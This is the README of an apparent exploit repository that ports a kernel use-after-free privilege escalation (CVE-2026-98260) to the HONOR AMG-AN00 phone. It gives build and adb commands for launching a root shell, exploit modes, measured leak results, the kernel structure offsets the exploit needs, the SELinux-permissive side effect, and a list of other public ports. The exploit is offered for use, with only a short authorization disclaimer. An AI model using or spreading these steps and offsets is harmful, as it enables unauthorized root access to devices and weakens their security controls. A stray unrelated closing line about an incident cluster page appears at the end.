> **For use only on your own devices and with explicit authorization for security research.** This is a probabilistic kernel UAF exploit; failure may cause instability, requiring a reboot to recover. ## What is this?
The public CVE-2026-98260 (`exec: Cleanup POSIX timers right after de_thread()`) has been ported to **HONOR AMG-AN00**:
| Model | HONOR AMG-AN00 (SM8650 / pineapple) |
| Kernel | `6.1.157-android14-11-g2646292297b1` |
| Result | Temporary `uid=0` shell (restricted, see below) |
| Persistence | None; disappears upon process exit, fully restored via reboot |
The port was taken from [`yoro1836/SamTimer`]( `app/src/main/cpp/timer.c` (target Xiaomi aurora / SM8650 / 6.1.75-android14-11). **Why it works**: same chip (SM8650), same KMI (android14-11); GKI freezes the structure layout, so **no structural offsets were altered**, only 13 address constants were replaced. **Partial disables**: Samsung-specific links in the original code (DEFEX `creds_fast_hash`, KDP bind mount, KernelSU late-load) lack corresponding symbols on this machine; they have been hard disabled—`fake` / `umh` modes directly exit. ## Build
NDK=/path/to/android-ndk-r27c/toolchains/llvm/prebuilt//bin
$NDK/aarch64-linux-android21-clang -O2 -o timer_honor timer_honor.c
> **Do not add `-static`**: Android Bionic will reject static linking results:
> `executable's TLS segment is underaligned: alignment is 8, needs to be at least 64 for ARM64 Bionic`
adb shell chmod 755 /data/local/tmp/timer_honor
adb shell "cd /data/local/tmp && ./timer_honor verify" # Verify; no shell interaction
adb shell "cd /data/local/tmp && ./timer_honor shell" # Launch interactive root shell
| `ids` | Only detects tracefs event IDs | Zero (read-only) |
| `leak` | Triggers and leaks cred/task addresses; writes nothing to kernel | Low |
| `verify` (default) | Writes creds, verifies `uid=0`, no shell interaction | Medium |
| `shell` | Launches interactive root shell | Medium-High |
| `fake` / `umh` | **Disabled** (depends on Samsung DEFEX) | — |
Adding `nopermissive` after `shell` can prevent SELinux enforcement—but this blocks `setgroups`, preventing it from being added to the shell group; thus, write access to `/data` is impossible, leaving only a shellless shell with `uid=0`.
## Real measurements (AGM-AN00 / 2026-11-06, 6 times)
| `ids` | `page_alloc=264 page_free=262 pairs=1029` |
| `leak` | `base=0xffffff7f80000000 count=482`, `cred=0xffffff8812606e40 site_low=0xe6c6c` |
| `verify` | `[child] woke uid=0`, `setuid(0)=0`, `ROOT_SHELL_OK` |
| `shell` | `uid=0(root) gid=0(root)`, `CapEff=0x8000c0`, `+groups 1000/2000`, writable at `/data/local/tmp` |
Each run took 40 seconds; no device reboot occurred during this period. ## Capability boundaries (important)
| `uid=0` / `gid=0` | `CAP_DAC_OVERRIDE` |
| Additional groups: `1000(system)`, `2000(shell)`, `1015(sdcard_rw)` | `CAP_SYS_ADMIN` (**cannot mount**) |
| Ability to write paths owned by root or belonging to the shell group | `CAP_CHOWN` |
| SELinux permissive mode (until reboot) | System partitions remain read-only due to mounting restrictions |
`CapBnd = 0x8000c0` = `CAP_SETGID | CAP_SETUID | CAP_SYS_NICE`, representing the upper limit of the `u:r:shell:s0` domain. **This is a restricted root—not a system root, nor a persistent root like KernelSU or Magisk.** **
| `task_struct.cred` | `0x838` | Disassembled: `ldr x20,[x8,#0x838]` |
| Size of `struct cred` | `176 (0xb0)` | Disassembled: `mov w2,#0xb0` |
| `cred.uid` | `+4` | BTF indicates `usage` is an `atomic_t` (4 bytes); `str w8,[x19]` writes only 4 bytes |
| `k_itimer` | `0x108`, `it@0x78`, `elist@0xa8`, `handling@0xc0` | BTF + `slabinfo` (264B / 31 per order-1) |
> ⚠️ Note: In upstream 6.1 source, `struct cred` uses `atomic_long_t usage` (8 bytes) → `uid@+8`. The current Android kernel version changed this to `atomic_t` (4 bytes) → **`uid@+4`**. Following the upstream source would result in incorrect field values. A full list of 13 address constant replacements is provided in [PORTING.md](PORTING.md). ## Risks
1. **Probable UAF**: Not guaranteed to succeed every time.
2. Failure leads to **parking** (process remains suspended); **parked processes cannot be killed**, as killing triggers a kernel panic; only rebooting works.
3. By default, SELinux is set to Permissive until reboot.
4. After rebooting, Android’s “Wireless Debugging” must be manually enabled again.
| NVD entry (CVSS 7.8) | |
| MITRE / CVE.org record | |
| Upstream fix commit | |
| Commit introducing this flaw | `55e8c8eb2c7b` (starting from version 5.7) |
| LKML patch discussion | |
Versions that have been patched and entered stable branches (versions **6.1.157 through 6.1.191 remain vulnerable**):
### Direct source for this repository’s migration
| [`yoro1836/SamTimer`]( | **Direct source**. `app/src/main/cpp/timer.c`, target Xiaomi aurora / SM8650 / 6.1.75-android14-11. This repository is derived from it. |
| `CVE-2026-98260-aurora` | SamTimer’s own upstream (the timer LPE port evolved from this). |
| [`V4bel/InfinityCore`]( | Original research by author Hyunwoo Kim; `timer/CVE-2026-98260-ubuntu.c` (Ubuntu 26.04 / 7.0.0-30).
**Android version not publicly released** (`timer/CVE-2026-98260-android.c` contains only one and a hash.)
### Other publicly available portings of the same vulnerability (for cross-referencing)
During porting, this repository compared these implementations to help identify which offsets are common across models and which are model-specific:
| [`woshigenm/CVE-2026-98260`]( | Honor MagicPad3 Pro / 6.12.38 (`real cred + single zero write` approach) |
| [`YuKongA/CVE-2026-98260`]( | 6.12.69-android16-6 |
| [`ylh440104/InfinityCore-Android-CVE-2026-98260`]( | Android / ARM64 port |
| [`quyicheng03-boop/CVE-2026-98260-nezha-android`]( | Xiaomi nezha |
| [`quyicheng03-boop/CVE-2026-98260-popsicle-android`]( | Xiaomi popsicle | | [`Lw5959/xring-cve-2026-98260`]( | XRING O1 / Android 17 / 6.18.21 |
| `sganggs/CVE-2026-98260-BRM-AN00` | Honor Win2 / 6.18.21 |
| [`kpgc10kai/TimerRoot`]( | Android frontend (Shizuku driver) |
| [`zsw125/o3root`]( | Full app form (Shizuku + KernelSU late-load) |
| [`Again1996-bit/CVE-2026-98260-GhostKey`]( | One-click tool frontend |
| [`villager1314/CVE-2026-98260-Analysis`]( | Pure trigger analysis (used to verify patch status) |
| `janewas/cve-2026-98260-vivo-gki-research` | Notes on porting vivo/iQOO 6.6.127 (recycling scheduling, SLUB parameters) |
### Kernel source code and configurations
| | Order of `struct cred` fields |
| | `k_itimer`, `cpu_timer`, `cpu_timer_dequeue()` | | | Root cause of UAF in `posix_cpu_timer_del()` |
| | Parameters for creating `posix_timers_cache` |
| | `min_partial` and empty slab reclamation rules |
| | AIO ring page allocation mechanism |
| | GKI configuration (`SLAB_FREELIST_HARDENED=y`, `INIT_ON_ALLOC_DEFAULT_ON=y`, `PANIC_ON_OOPS=y`, etc.) |
| Android NDK **r27c** | Version specified in the README; locally used `aarch64-linux-android21-clang` (clang 18.0.3) |
| `kernel.bin` + `kernel.kallsyms` + `btf.bin` | Local kernel image, symbol table, and BTF; used for disassembling address constants. |
### Another easily confused vulnerability
| CVE-2026-64560 | **Same subsystem but different cause**: Race condition between `sys_timer_delete()` and non-leader `exec()`. Patches differ; do not mix them when referencing. |
| [Racing Cats to the Exit: A Boring Linux Kernel]( | Itimer UAF in process exit paths; similar mechanism (2022). |
> The above links are derived from publicly available searches and actual references during this porting process; apart from the kernel source code and local image, full text was not examined individually. ## Licensing
MIT. See [LICENSE](LICENSE). The original ported code originates from `yoro1836/SamTimer` (MIT) and is based on publicly ported versions such as `woshigenm/CVE-2026-98260`. The vulnerability itself was reported by Hyunwoo Kim (@v4bel).
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
